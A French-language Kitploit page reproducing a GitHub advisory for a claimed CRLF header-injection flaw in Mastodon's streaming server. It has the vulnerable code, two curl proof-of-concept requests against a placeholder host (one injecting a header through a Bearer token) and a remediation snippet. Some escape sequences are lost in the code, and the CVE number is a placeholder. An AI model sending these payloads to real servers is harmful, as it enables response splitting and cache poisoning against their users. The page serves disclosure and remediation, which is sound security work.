Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-Mastodon-Streaming-CRLF-Injection — Mastodon Streaming Server Security Vulnerability PoC - CVE-2026-Mastodon-Streaming-CRLF-Injection | Kitploit
Outils/GitHubGitHub/1402307692/cve-2026-mastodon-streaming-crlf-injection
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHub1402307692/cve-2026-mastodon-streaming-crlf-injection

CVE-2026-Mastodon-Streaming-CRLF-Injection

Mastodon Streaming Server Security Vulnerability PoC - CVE-2026-Mastodon-Streaming-CRLF-Injection

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôtSite web
il y a 4 moisPas encore vérifié

CVE-2026-XXXXX : injection d'en-tête de réponse HTTP (CRLF) dans le serveur de streaming Mastodon

Aperçu de la vulnérabilité

ÉlémentDétails
ID CVECVE-2026-XXXXX
Produit concernéMastodon (Streaming Server)
Version concernée<= 4.5.9
Composantstreaming/index.js, lignes 188-206
Type de vulnérabilitéInjection d'en-tête de réponse HTTP / Injection CRLF
CWECWE-74
CVSS 3.16.5 (Moyen)
Vecteur d'attaqueRéseau
Rapporteurqitian [email protected]

Description de la vulnérabilité

Lorsqu'une requête de mise à niveau WebSocket échoue à l'authentification, le serveur de streaming Mastodon (streaming/index.js, lignes 188-206) construit manuellement une réponse HTTP et écrit errorMessage directement dans l'en-tête de réponse X-Error-Message via socket.end() SANS assainir les caractères ou .

Cela permet à un attaquant distant non authentifié d'injecter des en-têtes HTTP arbitraires ou d'effectuer une scission de réponse HTTP (HTTP Response Splitting).

Code vulnérable (streaming/index.js, lignes 188-206)

root@kitploit:~
const { statusCode, errorMessage } = extractErrorStatusAndMessage(err);
const headers = {
  'Connection': 'close',
  'Content-Type': 'text/plain',
  'Content-Length': 0,
  'X-Request-Id': request.id,
  'X-Error-Message': errorMessage   // NO CRLF sanitization
};
socket.end(
  `HTTP/1.1 ${statusCode} ${http.STATUS_CODES[statusCode]}
` +
  `${Object.keys(headers).map((key) => `${key}: ${headers[key]}`).join('
')}

`
);

Impact

  • Injection d'en-tête HTTP : injecter des en-têtes HTTP arbitraires
  • Scission de réponse HTTP (HTTP Response Splitting) : injecter un second corps de réponse HTTP (empoisonnement du cache)
  • Divulgation d'informations : messages d'erreur internes exposés aux utilisateurs non authentifiés

Preuve de concept

PoC 1 - Détection de base

root@kitploit:~
curl -i -X GET \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  http://TARGET:4000/api/v1/streaming/user

Attendu : HTTP/1.1 401 Unauthorized, X-Error-Message: Missing access token

PoC 2 - Injection CRLF

root@kitploit:~
curl -i -X GET \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Authorization: Bearer test%0d%0aX-Injected: evil" \
  http://TARGET:4000/api/v1/streaming/user

Remédiation

Assainir errorMessage avant de l'écrire dans l'en-tête du socket :

root@kitploit:~
const sanitizedMessage = String(errorMessage || '')
  .replace(/
/g, '%0D')
  .replace(/
/g, '%0A');
// OR use Node.js res.setHeader() API which prevents header injection

Chronologie

DateÉvénement
2026-04-22Vulnérabilité découverte et PoC créé
2026-04-22Rapport CVE soumis à MITRE / VDB

Références

  • https://github.com/mastodon/mastodon
  • https://cwe.mitre.org/data/definitions/74.html

Avertissement : cette preuve de concept (PoC) est fournie à des fins éducatives et de recherche en sécurité uniquement.

Télécharger l’outil